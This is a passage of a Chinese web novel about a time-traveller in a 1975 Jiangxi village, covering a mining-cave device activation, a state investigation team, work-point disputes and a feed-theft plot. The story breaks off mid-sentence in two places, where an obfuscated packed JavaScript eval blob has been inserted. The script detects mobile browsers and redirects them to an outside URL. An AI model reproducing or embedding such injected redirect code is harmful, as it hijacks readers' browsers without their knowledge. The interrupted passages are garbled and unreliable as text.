林晚照没有犹豫。她将圆盘放入第一个凹槽,严丝合缝。又褪下双镯,放入第二个凹槽。龙凤纹路在这一刻亮了起来,与装置表面的蓝光共振。 轮到第三个凹槽了。 她从陈铁柱手中接过柴刀,在左手掌心划了一道。鲜血涌出,滴入凹槽。 血液接触凹槽的瞬间,整个装置剧烈震动起来。蓝光变成了刺眼的白色,洞穴顶部的发光矿石也开始共鸣,投下诡异的光影。 巷道外的守卫显然被这动静惊到了,脚步声停了片刻。 “就是现在!”孙瘸子喊道,“把手放上去!集中精神想着你要连接的两个点!” 林晚照将血淋淋的左手按在装置表面。就在接触的刹那,她感到一股巨大的吸力,仿佛灵魂都要被抽离身体。 眼前闪过无数画面—— 老槐树下,双层铁箱在土层深处发出共鸣…… 后山洞穴,时间晶体光芒大盛,投射出全息影像…… 红星公社的每一个角落,每一张面孔,每一声呼喊…… 然后是更遥远的景象:1937年的逃亡队伍,1949年的开国大典,1966年的动荡,还有……她前世所在的2024年。 所有时间线在这一刻交织。 她听见了陈启明的声音,不是影像,是直接在她脑海中的低语: “后来者,你选择了最危险的路。但有时候,危险是唯一的希望。” “听我说,时间不多了。‘归巢计划’的真正目的不是回收,是销毁。他们害怕共振装置揭示的真相——那个即将到来的全球性灾难。” “记住这个坐标:北纬31.23°,东经121.47°。2024年12月7日,那里会发生什么。那是开端,也是终点。” “现在,激活装置吧。让三钥合一,让真相大白。” 声音消失了。 林晚照睁开眼,看见装置顶部的凹陷处,一个全息投影正在形成——那是三个埋藏点的实时状态。老槐树下,后山洞穴,还有这个矿井深处,三个点正在形成能量三角。 巷道外突然传来枪声。 “他们强攻了!”陈铁柱大吼,举着柴刀挡在巷口。 但守卫们没有冲进来。相反,外面传来混乱的喊叫和更多的枪声——不是朝巷道里射击,而是互相射击? “怎么回事?”孙瘸子惊疑不定。 林晚照突然明白了:“是省里来的人!他们和李国华不是一伙的!” 她猜对了。巷道外,两股势力正在交火。李国华的手下穿着便衣,而新来的武装人员穿着统一的深蓝色制服,显然是正规部门。 枪战持续了不到五分钟就结束了。一个威严的声音在外面响起: “里面的人,我们是国家特别调查组的。请解除武装,慢慢走出来。” 陈铁柱看向林晚照。装置还在运行,蓝光渐渐收敛,最终稳定在一个柔和的亮度。 林晚照咬牙,拔出了圆盘和镯子。装置顶部的全息投影消失了,但洞穴里的发光矿石依然亮着。 三人走出巷道。 矿井外,场面已经被控制。十多个穿深蓝制服的人持枪警戒,地上躺着几个受伤的便衣——包括灰衣男人,他大腿中弹,正被包扎。 一个五十岁左右、面容严肃的男人走上前,出示了证件:“我是特别调查组组长赵建国。哪位是林晚照同志?” “我是。”林晚照上前一步。 赵建国仔细打量她,目光在她手上的血痕和银镯上停留片刻:“你找到陈启明烈士的遗物了?” “找到了部分。” “我们需要全部。”赵建国语气不容置疑,“这是国家财产,涉及重大机密。” “那王晓芬呢?”林晚照问,“你们把她怎么样了?” 赵建国示意手下。几分钟后,王晓芬被带了过来——她看起来受了惊吓,但没受伤。 “晓芬!”林晚照冲过去抱住她。 “晚照……我、我没事。”王晓芬哭着说,“他们突然冲进来,把李副主任的人都抓了……” 赵建国等她们情绪稍平复,才继续说:“李国华,真实姓名李文斌,是潜伏多年的敌特分子。他冒充公社干部,目的就是寻找‘鹰计划’的遗物,企图偷运出境。” 他看向林晚照:“你们协助破获了这起重大案件,国家会记功。但现在,请交出所有找到的东西。” 林晚照看向陈铁柱和孙瘸子。三人交换了眼神。 最终,林晚照交出了共振圆盘和陈启明的笔记。但银镯她留下了——这是陈启明留给妻子的遗物,从法律上说,她作为“后人”有权保留。 赵建国检查了物品,确认无误后点头:“感谢你们的配合。另外,关于今天发生的事……” “我们知道。”陈铁柱接话,“保密纪律,不会对外说。” “很好。”赵建国难得露出一丝笑容,“你们可以回去了。林晚照同志,你的手需要处理一下。” 医疗兵过来给林晚照包扎。在这个过程中,赵建国走到她身边,用只有两人能听到的声音说: “陈启明烈士还留下了什么话吗?” 林晚照心中一震,但面上不动声色:“没有。只有笔记里的内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854266|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容。” 赵建国深深看了她一眼,没再追问。 离开煤矿时,天已大亮。调查组的人还在清理现场,林晚照四人被护送回村。 路上,孙瘸子低声说:“他们没提时间晶体。” “也许不知道。”陈铁柱分析,“或者……知道但故意不提。” 林晚照抚摸着手腕上的银镯。她没告诉赵建国关于时间晶体的事,也没说陈启明最后透露的坐标和日期。 那个秘密,她必须自己保管。 回到知青点,已是上午十点。村里人都在议论昨晚的枪声和今天早上的动静,但没人知道具体发生了什么。公社已经下达通知,说是在进行“反特演习”。 王晓芬受到了惊吓,林晚照陪她在屋里休息。其他知青虽然好奇,但见林晚照手上缠着绷带,也没敢多问。 下午,陈铁柱来找林晚照:“孙老要走了。” “走?去哪儿?” “不知道。他说他的任务完成了,该离开了。” 林晚照赶到村口时,孙瘸子已经收拾好一个破包袱。他还是那副跛腿老农的模样,但眼神不一样了——那是一种解脱后的平静。 “孙老……”林晚照不知道该说什么。 “别这样。”孙瘸子笑了,那道伤疤在阳光下显得柔和了许多,“我守了三十八年,今天终于能放下了。陈老师的东西,交到了对的人手里。” “您要去哪儿?” “到处走走。”孙瘸子看向远方,“我今年六十三了,趁还能走,看看这片陈老师用命保护的土地。” 他顿了顿,从怀里掏出一个小布包,塞给林晚照:“这个给你。是陈老师当年给我防身用的,现在我用不上了。” 林晚照打开布包,里面是一块怀表。表盖内侧刻着一行小字:“时间会证明一切——陈启明,1937年冬。” “孙老,谢谢您。”林晚照的眼眶湿了。 “该说谢谢的是我。”孙瘸子拍拍她的肩,“你让陈老师三十八年的等待,有了意义。” 他转身,拄着拐杖,一瘸一拐地走上出村的山路。晨光将他的背影拉得很长,渐渐消失在路的尽头。 陈铁柱轻声说:“他其实可以留下的。” “但他选择了自由。”林晚照摩挲着怀表,“也许这就是陈启明教授希望看到的——每个人都能选择自己的路。” 回到知青点,林晚照躺在床上,终于感到疲惫如潮水般涌来。三天三夜的紧张、冒险、生死一线,此刻都化作了深深的倦意。 但她睡不着。陈启明最后说的那个坐标和日期,像烙印一样刻在她脑海里。 北纬31.23°,东经121.47°——那是上海的位置。 2024年12月7日。 会发生什么? 她闭上眼睛,意识沉入空间。 黑土地依然肥沃,古井水面平静。但这一次,她发现茅屋里多了一样东西——石桌上,放着一本崭新的笔记。 翻开第一页,是陈启明的字迹: “致时间旅行者:如果你能看到这个,说明共振装置已经激活,时空信道建立了。这是我留给未来的最后信息。” “关于那个坐标和日期:那是‘大过滤器’事件的开端。2024年12月7日,一种未知病毒在上海实验室泄漏,最终导致全球75%人口死亡,文明倒退一百年。” “鹰计划的真正目的,不是传递技术,是传递警告。我们无法改变过去,但可以改变未来——只要有人知道该在什么时候,做什么。” “你是那个信使。你需要在2024年12月7日前,回到你的时代,阻止那场灾难。” “但穿越时空需要巨大的能量。你手腕上的镯子,就是穿越信标。当时间晶体收集到足够的能量,它会带你回去——前提是,你能活到那个时候。” “祝你好运,后来者。人类的未来,托付给你了。” 笔记到这里结束。 林晚照站在茅屋里,久久无法平静。 原来如此。她不是偶然穿越,是被选中的信使。沈红梅、陈铁柱、孙瘸子,所有人都是这个庞大计划的一部分。 而现在,计划进入了最后阶段:她必须在1975年活下去,活到2024年,然后回去拯救自己的时代。 窗外传来鸡鸣声,新的一天开始了。 林晚照退出空间,睁开眼睛。阳光从窗户照进来,在泥地上投出明亮的光斑。 王晓芬还在熟睡,其他知青已经起床准备上工。一切似乎恢复了正常。 但林晚照知道,一切都不一样了。 她有了使命,有了目标,也有了必须活下去的理由。 手腕上的银镯在阳光下闪闪发光。怀表在口袋里,发出沉稳的滴答声。 时间会证明一切。 而现在,时间站在她这边。 她还有四十九年。 四十九年,去改变一个注定到来的未来。 门被敲响了,陈铁柱的声音传来:“林晚照,该上工了。” 林晚照深吸一口气,起身开门。 晨光里,陈铁柱站在门口,肩上扛着锄头。他看着林晚照,眼神里有某种心照不宣的默契。 “今天修水渠,”他说,“工分照算。” 林晚照笑了:“好。” 两人并肩走向晒谷场。远处,社员们已经开始集合,新的一天劳动即将开始。 在这个1975年的秋天,在江西的这个山村里,一个穿越者,一个重生者,和一群普通人,将继续他们的生活。 而历史的车轮,正在悄然转向。 林晚照抬头看向天空,那里,北斗七星已经隐去。 但今晚,它们会再次出现。 在未来的每一个夜晚,都会出现。 直到四十九年后的那个冬天。 直到一切改变。 或者,一切被改变。 17. 工分疑云 十一月的风已经有了凛冽的意味,刮过晒谷场时卷起细碎的尘土。林晚照站在分配任务的队伍里,手上缠着的绷带已经拆了,留下一道浅粉色的疤痕。三天前那场惊心动魄的“反特演习”,在官方口径里已经画上句号。李国华——或者说李文斌——被押走了,他留下的人手也被清理干净。村里恢复了往日的节奏,仿佛那场夜半枪声只是集体做的一场噩梦。 但有些东西终究不一样了。 “林晚照,王晓芬,去三队菜地施肥。”陈铁柱点名时的语气一如既往,但目光在她脸上多停留了一瞬,那里面藏着只有两人才懂的默契。 施肥是个脏活累活。要挑着粪桶走两里地,把发酵好的农家肥均匀地撒在菜畦里。林晚照挑着扁担走在田埂上时,感觉肩膀火辣辣地疼——这身体还是太弱,即使有灵泉水改善体质,也需要时间。 “晚照,你肩膀行吗?”王晓芬担忧地问。这姑娘自从被救回来后,对林晚照简直到了崇拜的地步。 “没事,多挑几次就练出来了。”林晚照咬牙稳住步伐。她必须尽快适应这种体力劳动,否则光是工分这一关就过不去。 菜地里已经有人在干活了。三婶领着几个妇女正在给白菜间苗,看见她们来,直起腰擦了把汗:“来啦?粪池在那边,小心点别溅身上。” 粪池是个半埋在地里的大缸,里面是沤了半个多月的粪水。气味冲得人眼睛发酸。林晚照屏住呼吸,用长柄粪瓢舀起肥料,一勺勺浇在菜根旁。 干了一个时辰,汗水已经浸透了里衣。林晚照直起腰,看向远方连绵的山峦。孙瘸子走了三天了,不知道现在到了哪里。陈铁柱说,他走时连地址都没留,只说“有缘再见”。 还有那些调查组的人。赵建国临走前,私下找她谈过一次。 “林晚照同志,你是烈士后人,组织上对你是有照顾的。”赵建国当时说,“如果你在乡下有什么困难,可以给这个地址写信。” 他留了个省城的信箱地址,没说是哪个单位。林晚照把那张纸条收好了,但没打算轻易动用——人情这东西,要用在刀刃上。 “歇会儿吧!”三婶招呼大家,“喝口水。” 妇女们围坐在田埂上,拿出各自带来的水壶。三婶从怀里掏出个小布包,里面是炒熟的黄豆,分给大家当零嘴。 “三婶,您家黄豆炒得真香。”林晚照接过几颗,确实香脆。 “今年的新豆子。”三婶笑眯眯的,“对了晚照,听说你识字?能不能帮我看看这个。” 她掏出一封皱巴巴的信。信封已经拆开,信纸被摩挲得发软。林晚照展开一看,是封家书,三婶在部队的儿子寄来的。 信的内容很简单:儿子在部队一切安好,寄了二十块钱和十斤粮票回家,让母亲保重身体。落款日期是上个月。 “你儿子真孝顺。”林晚照把信读给她听。 三婶眼眶有点红:“这孩子,自己不舍得吃穿,总惦记家里。晚照,你再帮我写封回信成不?我口述,你写。” “行。”林晚照从随身带的小本子上撕下一页纸——这是扫盲班剩下的练习纸。 三婶口述,林晚照记录。无非是家里一切都好,钱收到了,让他别担心,在部队好好干。朴实无华,却字字真情。 写完信,其他妇女也围过来:“晚照,能帮我也写一封不?”“我闺女嫁到邻县,大半年没信了……” 林晚照一一应下。这个年代,识字的人是稀缺资源。她帮人写信,不收钱,不收礼,纯粹是帮忙。但人情债,有时候比真金白银更珍贵。 中午收工时,林晚照的肩膀已经磨破了皮。回到知青点,她打了盆温水,准备擦洗一下。水盆里倒映出她的脸——比刚来时黑了,瘦了,但眼神更亮了。 “林晚照,有人找!”院外有人喊。 她披上外套出去,看见陈铁柱站在门口,手里拿着个记账本。 “有个事得跟你说。”陈铁柱的表情严肃,“上个月的工分结算,你被扣了五分。” “为什么?” “说是有天下午你去仓库,提前了半小时收工。”陈铁柱翻开本子,“那天是十月二十八号,记工员写的是‘早退’。” 林晚照回忆起来。十月二十八号,是她第一次去仓库清点粮种的日子。那天周伯确实让她早点回去,说是仓库要锁门。但她记得自己走的时候,其他女工也都散了。 “那天不止我一个人早走。”她说。 “我知道。”陈铁柱压低声音,“但只有你被记了早退。记工员是王会计,他是王秀英的远房侄子。” 王秀英——她那个继母。 林晚照的心沉了沉。她原以为下乡就能摆脱那家人的阴影,现在看来,关系网这东西,能从上海延伸到江西的山村。 “五分是多少钱?” “四分一厘五。”陈铁柱算给她听,“五分就是两毛钱。不多,但这是个信号——有人在盯着你,随时准备找茬。” 两毛钱在1975年能买一斤盐,或者四盒火柴。对林晚照来说不算大数目,但这背后的意味让她警惕。 “王会计在队里什么位置?” “管账的二把手,赵会计的副手。”陈铁柱说,“这人爱占小便宜,但胆子不大。我猜是有人指使他这么干的。” “李国华的人?” “不一定。”陈铁柱摇头,“李国华倒台了,他手下的人也树倒猢狲散。可能是以前的关系,也可能是……单纯看你新来的好欺负。” 林晚照明白了。这是在试探她的底线。如果她忍了,下次可能就是十分,二十分。工分是她在农村安身立命的根本,不能退让。 “工分能改吗?” “难。”陈铁柱说,“账本已经报到公社了。除非有确凿证据证明记错了,否则改不了。” 确凿证据……林晚照思索着。那天下午,还有谁在仓库附近? 她想起来了。赵会计!他当时也在仓库,还跟她说过话。 “我去找赵会计。” “等等。”陈铁柱拦住她,“赵会计是王会计的上司,但两人关系微妙。你这么直接去,可能会让赵会计为难。” “那怎么办?” 陈铁柱沉默片刻:“晚上扫盲班,赵会计会来听课。那时候人多,你找机会私下问。” 这个办法稳妥。林晚照点头:“谢谢队长。” “不用谢。”陈铁柱顿了顿,“你现在是队里的人了,我得照应着。” 他说完转身走了。林晚照看着他的背影,心里涌起复杂的情绪。这个“原装货”已经死了的队长,这个从2023年穿越来的灵魂,在这个陌生的年代里,成了她为数不多可以信任的人。 晚饭后,扫盲班照常开课。 今晚来的人格外多——可能是农闲了,也可能是听说林晚照讲课有趣。赵会计果然来了,坐在最后一排,手里拿着个小本子,像是来检查工作的。 林晚照教了半小时常用字,然后宣布休息十分钟。她借着倒水的机会,走到赵会计身边。 “赵会计,有个事想请教您。” 赵会计推了推眼镜:“林老师请讲。” “是关于工分的事。”林晚照压低声音,“我听说十月二十八号那天,我被记了早退。但我记得那天仓库要锁门,是周伯让我们早点走的。” 赵会计的表情严肃起来:“你确定?” “确定。那天您也在仓库,还问我话了呢。” 赵会计回忆了一下,点头:“对,那天我是去了仓库。周伯是说让早点走,因为公社要来检查。”他翻开自己随身带的工作笔记,查了查,“那天我也提前走了,记的是正常工分。” “那为什么……” “我明白了。”赵会计合上本子,脸色不太好看,“这事我会查。如果真是记错了,下个月给你补上。” “谢谢赵会计。” “不用谢,这是应该的。”赵会计看着她,“林老师,你初来乍到,有些事可能不知道。队里的人际关系……比较复杂。以后有什么事,可以直接找我。” 这话是善意的提醒。林晚照感激地点头。 下半节课,她教得格外认真。下课后,赵会计先走了。林晚照收拾教具时,听见两个妇女在门口低声说话: “听说了吗?王会计家出事了。” “啥事?” “他儿子在县城跟人打架,把人家头打破了,现在关在派出所呢。要赔钱,不然就得坐牢。” “赔多少?” “五十块!王会计到处借钱呢。” 林晚照心里一动。五十块在1975年是一笔巨款,相当于一个壮劳力大半年的收入。王会计如果急需用钱,那扣她工分的事,可能不只是刁难那么简单。 她想起陈铁柱的话:“这人爱占小便宜,但胆子不大。” 如果一个爱占小便宜的人突然急需一大笔钱,会做什么? 第二天上工前,林晚照特意绕到队部。王会计果然在,正对着账本发愁,眼圈发黑,显然一夜没睡好。 “王会计早。”林晚照打招呼。 王会计抬头,看见是她,表情僵硬:“早。有事?” “我想问问工分的事。”林晚照语气平和,“听说我上个月被记了早退,但那天仓库确实提前收工了。” “账本上怎么写就是怎么。”王会计硬邦邦地说,“你要是有意见,找队长去。” “我已经找过赵会计了。”林晚照说,“他说那天他也提前走了,记的是正常工分。” 王会计的脸色变了变。 林晚照继续说:“我还听说,您家里最近有点困难。如果需要帮忙的话……” “不用!”王会计打断她,声音有点慌,“我家的事不用你管。工分……工分的事我再看看。” 他匆匆收起账本,起身要走。 林晚照拦住他:“王会计,两毛钱对我来说不多,但对一个记工员来说,记错账是失职。赵会计说他会查,如果查出来是故意记错……” 她没说完,但意思很明显。 王会计的额头冒出细汗:“我……我再核对核对。可能……可能是我记错了。” “那麻烦您了。”林晚照微笑,“对了,我听说县城派出所的王所长,跟我舅舅是战友。如果您儿子的事需要帮忙,我可以写封信问问。” 这是她编的。她根本没什么舅舅在县城。但王会计不知道。 果然,王会计的眼睛亮了一下,但随即又黯淡下去:“真的?” “试试总没坏处。”林晚照说,“但前提是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854267|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我的工分得是对的。否则我写信的时候,也不好开口说这是帮一个克扣我工分的人。” 话说到这个份上,已经是赤裸裸的交易了。 王会计沉默良久,最终咬牙:“行。工分我给你改回来。但写信的事……” “我今晚就写。”林晚照承诺,“不过王会计,我丑话说在前头——我只能问问,不保证有用。” “问问就行,问问就行。” 离开队部时,林晚照松了口气。她不喜欢这种交易,但在这个人情社会里,有时候不得不如此。 下午施肥时,她把这事告诉了陈铁柱。 陈铁柱听完,沉默了一会儿:“你做得对。在这种地方,不能一味硬刚,要学会周旋。” “我觉得王会计可能还做了别的手脚。”林晚照说出自己的猜测,“他急需用钱,可能不只克扣了我的工分。” “你的意思是……” “查账。”林晚照说,“但得小心,不能打草惊蛇。” 陈铁柱点头:“这事交给我。我在队里这些年,还是有些门路的。” 两人正说着,远处突然传来喧哗声。一群社员围在田埂边,指指点点。 “出什么事了?”陈铁柱皱眉,快步走过去。 林晚照跟过去,看见田里倒着一个人——是李秀英,那个湖南来的女知青。她脸色苍白,双眼紧闭,像是晕过去了。 “怎么了?”陈铁柱问。 旁边的王晓芬快哭了:“秀英说她头晕,然后就倒下了。我们已经喊了赤脚医生……” 赤脚医生很快赶来了。是个五十多岁的汉子,背着个印着红十字的药箱。他检查了李秀英的脉搏和瞳孔,眉头紧皱。 “营养不良,加上劳累过度。”医生下了判断,“得赶紧补充营养,不能再干重活了。” “那工分……”有人小声问。 “命重要还是工分重要?”医生瞪了那人一眼。 陈铁柱当即决定:“李秀英休息三天,工分照记一半。林晚照,王晓芬,你们把她扶回知青点。” 林晚照和王晓芬一左一右扶着李秀英往回走。李秀英很轻,轻得像片叶子。她的手腕细得能看见骨头的形状,皮肤下青色的血管清晰可见。 回到知青点,把她安顿在床上。林晚照去灶台烧了锅热水,又从空间里悄悄取了点红糖——这是她之前用粮票在县城换的,一直舍不得吃。 冲了碗红糖水,端到李秀英床前。 “喝点吧,补充体力。” 李秀英睁开眼,看见红糖水,眼圈一下子红了:“晚照,这……这太金贵了……” “身体要紧。”林晚照扶她坐起来,“你多久没好好吃饭了?” 李秀英低头喝糖水,半晌才说:“我家……我家穷。我下乡时,我妈把家里最后五块钱塞给我,让我省着花。我每个月工分钱,一大半都寄回家了……” 林晚照心里一酸。这个年代,太多人活着就是为了不饿死。 “以后别这样了。”她说,“身体垮了,什么都完了。” “可我弟弟要上学,妹妹要吃饭……” “总会有办法的。”林晚照拍拍她的手,“你先养好身体。工分的事,我跟队长说说,看能不能给你安排轻省点的活。” 李秀英的眼泪掉进碗里:“晚照,谢谢你……” 那天晚上,林晚照失眠了。她躺在木板床上,听着同屋三个女孩均匀的呼吸声,心里沉甸甸的。 李秀英的晕倒不是个例。在这个年代,营养不良是普遍现象。她虽然有灵泉空间,能改善自己的体质,但帮不了所有人。 除非……除非她能做点什么,真正改变这里的状况。 她想起前世看过的那些年代文小说,主角们搞养殖、种经济作物、办加工厂,带着全村致富。但那需要资本,需要技术,更需要政策允许。 现在是1975年,离改革开放还有三年。搞个体经济是“投机倒把”,搞集体副业也得层层审批。 但总得试试。 她闭上眼睛,意识沉入空间。黑土地在月光下泛着肥沃的光泽,古井水面平静。她走到茅屋,翻开陈启明留下的那本笔记。 最后一页,除了关于2024年的警告,还有一行小字: “改变未来,从改变现在开始。每一个微小的善举,都是对抗灾难的基石。” 她明白了。 拯救世界不是一蹴而就的。它需要时间,需要积累,需要她从眼前做起。 从帮三婶写信开始。 从纠正工分不公开始。 从照顾生病的同伴开始。 从在这个1975年的山村里,好好活下去开始。 窗外,月光如水。 林晚照握紧手腕上的银镯,感受着那温润的触感。 四十九年很长。 长得足够她做很多事。 长得足够她,为那个遥远的2024年,积蓄足够的力量。 而现在,她要先过好眼前的每一天。 明天,太阳照常升起。 而她要做的第一件事,是去找陈铁柱,谈谈怎么改善知青点的伙食。 毕竟,要改变世界,得先让大家吃饱饭。 这道理,放在哪个年代都一样。 18. 第一桶金的萌芽 晨光熹微时,林晚照已经蹲在了知青点后面的自留地边。这片不到半分的地,是队里划给知青们种菜用的,算是集体经济的补充。地里稀稀拉拉长着些白菜和萝卜,叶片发黄,蔫头耷脑——土质太差,又缺肥料。 她从空间里取出一竹筒灵泉水,小心翼翼地浇在菜根旁。这是她试验了半个月的成果:每天早晚各浇一次稀释的灵泉水,菜的长势明显比旁边的地块好。但也不能浇太多,否则长得太快引人怀疑。 浇完水,她直起腰,看向远处的村庄。炊烟袅袅升起,鸡鸣犬吠声次第传来,又是一天开始了。 “晚照,起这么早?”王晓芬揉着眼睛从屋里出来。 “看看菜地。”林晚照拍拍手上的土,“今天萝卜能拔两颗,中午加个菜。” 王晓芬眼睛一亮:“真的?咱们的萝卜能吃了?” “能吃了。”林晚照拔起两颗水灵灵的白萝卜,每个都有小臂粗,“看,长得多好。” 这是她精心计算的结果——比正常生长快一点,但又不至于太离谱。萝卜叶子翠绿,根茎饱满,看着就喜人。 早饭依旧是红薯稀饭配咸菜。但今天多了盘凉拌萝卜丝——林晚照用从空间里拿的一小撮白糖和几滴香油调味,这在1975年是奢侈的吃法。 “这也太香了!”李秀英忍不住多吃了几口。她休养了三天,脸色好了些,但还是很瘦。 “多吃点。”林晚照给她夹了一筷子,“咱们自留地的菜长得好,以后经常能吃上。” 刘翠翠安静地吃着饭,忽然说:“晚照,你种菜真有一套。能教教我吗?” “行啊。”林晚照爽快答应,“其实也没什么秘诀,就是勤浇水,施肥得法。” 她说的是实话,但又没全说实话。灵泉水的事不能透露,但一些科学的种植方法可以分享。 吃完饭上工前,林晚照特意绕到队部。王会计正在算账,看见她进来,表情有点不自然。 “王会计早。”林晚照递过去两颗萝卜,“自留地种的,给您尝尝。” 王会计愣住了:“这……这怎么好意思……” “自家种的,不值钱。”林晚照笑着说,“对了,我舅舅回信了。” 其实信是她昨晚写的,模仿了长辈的口吻。内容很简单:王所长说了,年轻人打架是一时冲动,只要认错态度好,赔偿到位,可以从轻处理。信末还提了句:“听说你们队的王会计人不错,你要多向人家学习。” 这封信她下了功夫,用的是从空间里找的老式信纸,信封上的邮戳是她用萝卜刻了个章盖上去的——这年头寄信慢,王会计不会去查具体日期。 王会计接过信,手有点抖。看完后,他长出一口气,眼眶居然红了:“林同志,谢谢你……真的谢谢你……” “应该的。”林晚照适可而止,“那工分的事……” “改了改了!”王会计赶紧说,“不仅改了你的,我查了下,还有几个知青的工分也有问题,都改回来了。” 这算是意外收获。林晚照点点头:“那就好。王会计,以后账目上的事,还是仔细点好。赵会计眼睛毒,要是被他发现……” “我明白,我明白。”王会计擦擦额头,“以后一定仔细。” 离开队部时,林晚照心情复杂。她帮了王会计,但也拿捏了他的把柄。这种关系不纯粹,但在这个环境里,有时候不得不如此。 上午的活是去麦田除草。冬小麦已经长出青苗,田垄间杂草丛生。林晚照蹲在田里,一株株仔细地拔草。这活考验耐心和眼力,但她做得认真——工分是实打实的,多干多得。 休息时,三婶凑过来:“晚照,你给我的那包菜籽,种下去了。长得真快,才几天就出苗了。” 那是林晚照从空间里拿的改良白菜种子,产量高,抗病性强。她借口是家里寄来的,分给了几户关系好的村民。 “好好侍弄,年底能吃上好几茬。”林晚照说。 “要是真能成,明年我也多种点。”三婶压低声音,“晚照,你识字,能不能帮我算个账?” “什么账?” 三婶从怀里掏出个小本子,纸张已经磨损得发毛了:“这是我去年到今年喂猪的账。两头猪,吃了多少糠,多少野菜,最后卖了多少钱……我算不明白,总觉得亏了。” 林晚照接过本子。上面用歪歪扭扭的字记录着:某月某日,买糠二十斤,一角二分;某日,打猪草三十斤…… 她心算了一下:“三婶,您这账不对。按您记的,两头猪吃了四百斤糠,三百斤野菜,但最后只卖了一百二十斤肉。出肉率太低了。” “我就说嘛!”三婶一拍大腿,“肯定是饲料被人克扣了!” “谁负责发饲料?” “王富贵,他是队里的饲养员。”三婶恨恨地说,“每次去领糠,他都少给。我说他,他还凶我。” 林晚照记下了这个名字。弹幕系统适时给出信息: 【王富贵,男,45岁,饲养员。与王会计是堂兄弟。】 【特殊提示:该人近期频繁往来县城,疑似从事投机倒把活动。】 有意思。王会计、王富贵,都姓王,还是亲戚。再加上王会计儿子出事,王富贵可能也在弄钱。 “三婶,这事您先别声张。”林晚照叮嘱,“我帮您留意着。下次领饲料,您叫上我一起。” “行!”三婶感激地握住她的手,“晚照,你真是个好姑娘。” 中午收工回去的路上,林晚照遇见了陈铁柱。他刚从公社回来,自行车后座上绑着两袋化肥。 “队长。”林晚照打招呼。 陈铁柱停下,左右看看没人,低声说:“查到了。王富贵确实有问题。他每个月从饲料里克扣至少五十斤糠,偷偷运到县城卖。” “五十斤?那得多少钱?” “糠不值钱,一斤才两三分。但他可能还倒卖别的东西。”陈铁柱说,“我听说县城黑市最近有猪肉卖,不要肉票,价格翻倍。” 林晚照明白了。王富贵克扣饲料,把猪养瘦了,出肉率低。但瘦猪也是猪,他可能偷偷宰了卖肉。 “这得管吧?” “得管,但不能打草惊蛇。”陈铁柱说,“王富贵在队里干了十几年,有他的人脉。咱们得抓现行。” 两人商量了一会儿,定了个计划。林晚照负责继续收集证据,陈铁柱找可靠的人盯梢。 下午,林晚照被分配去帮赤脚医生整理药材。这是个轻省活,还能学到东西。 赤脚医生姓周,大家都叫他周大夫。他年轻时在县医院培训过半年,后来回村当了赤脚医生。药房是间土坯房,里面堆满了各种晒干的草药,空气里弥漫着苦涩的清香。 “这是金银花,清热解毒。这是车前草,治咳嗽。”周大夫一边整理一边教,“咱们山里草药多,但得会认,会采,会用。” 林晚照学得很认真。这些知识在这个缺医少药的年代,是能救命的。她甚至想,如果能把现代的医学常识和这些传统草药结合,说不定能做出些实用的东西。 “周大夫,这些草药能卖钱吗?” “能啊。”周大夫说,“公社收购站收,但价格低。要是能卖到县里药铺,能多卖两三成。但咱们没路子。” 林晚照心里一动。她有弹幕系统,能识别草药,还能优化炮制方法。如果真能弄到品质好的药材,说不定真能赚点钱。 但这属于“投机倒把”的灰色地带,得小心。 “周大夫,我想跟您学认草药。”她诚恳地说,“不是为了卖钱,就是想多学点本事。” 周大夫笑了:“你这女娃娃好学,好事。行,以后有空就来,我教你。” 整理完药材,周大夫给了她一包晒干的野菊花:“泡水喝,清热明目。你总看书,眼睛累。” 林晚照感激地接过。这个年代的人情味,有时候淳朴得让人感动。 傍晚回到知青点,林晚照开始准备晚饭。今天轮到她和刘翠翠做饭,菜是从自留地摘的:白菜、萝卜,还有几根小葱。 她偷偷从空间里取了一小块猪油——这是上次陈铁柱给她的,说是“处理问题猪”的福利。猪油化在锅里,香气立刻弥漫开来。 “好香啊!”王晓芬跑进来,“晚照,你做饭真有一套。” “今天炒个醋溜白菜。”林晚照说,“翠翠,你把萝卜切了炖汤。” 两人配合默契。林晚照炒菜时,心里却在盘算着其他事:王富贵的事得尽快解决,否则会影响整个生产队的养猪业。但怎么解决,才能既惩处坏人,又不引起太大动荡? 饭做好时,陈铁柱来了。他端着一碗炒黄豆,说是给知青们加菜。 吃饭时,林晚照发现陈铁柱几次欲言又止。等其他人吃完出去洗碗,他才低声说:“有情况。王富贵今晚要去县城。” “这么确定?” “他找人借了自行车,还带了两个大麻袋。”陈铁柱说,“我和张建军商量了,准备跟去看看。” “我也去。”林晚照脱口而出。 “太危险了。” “多个人多个照应。”林晚照坚持,“而且万一需要写什么材料,我在场方便。” 陈铁柱犹豫了一下,最终点头:“行,但你得听我指挥。” 晚上九点,村里大部分人家已经熄灯。林晚照换上深色衣服,跟着陈铁柱和张建军出了村。 三人躲在村口的草垛后,盯着王富贵家。果然,不一会儿,王富贵推着自行车出来了,车后座上绑着两个鼓鼓囊囊的麻袋。 他鬼鬼祟祟地四处张望,然后骑上车往县城方向去。 “跟上。”陈铁柱低声说。 三人没有自行车,只能快步跟上。好在夜里路静,能听见车轱辘的声音。 走了约莫五里路,王富贵在 